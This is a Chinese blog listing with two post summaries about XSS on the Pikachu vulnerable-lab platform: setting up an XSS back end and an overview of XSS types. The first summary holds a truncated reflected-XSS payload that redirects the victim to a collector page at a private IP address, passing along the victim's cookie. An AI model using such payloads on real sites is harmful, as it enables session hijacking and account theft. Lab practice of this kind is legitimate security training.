2020年2月12日
pikachu XSS后台的使用和安装
摘要： xss后台的安装 重定向到另一个可信网址 让点击者 不知情 1.cookie值获取 查看源代码 在反射型xss（get）页面下使用 <script> document.location = 'http://192.168.50.100/pkxss/xcookie/cookie.php?cookie= 阅读全文
posted @ 2020-02-12 17:24 Res0lve 阅读(3601) 评论(0) 推荐(0)
Pikachu漏洞平台---XSS(Cross-Site Scripting) 跨站脚本
摘要： XSS（跨站脚本）概述 Cross-Site Scripting 简称为“CSS”，为避免与前端叠成样式表的缩写"CSS"冲突，故又称XSS。一般XSS可以分为如下几种常见类型： 1.反射性XSS; 2.存储型XSS; 3.DOM型XSS; 危害： 存储型>反射型>DOM型 1.反射型XSS(get 阅读全文
posted @ 2020-02-12 15:25 Res0lve 阅读(604) 评论(0) 推荐(0)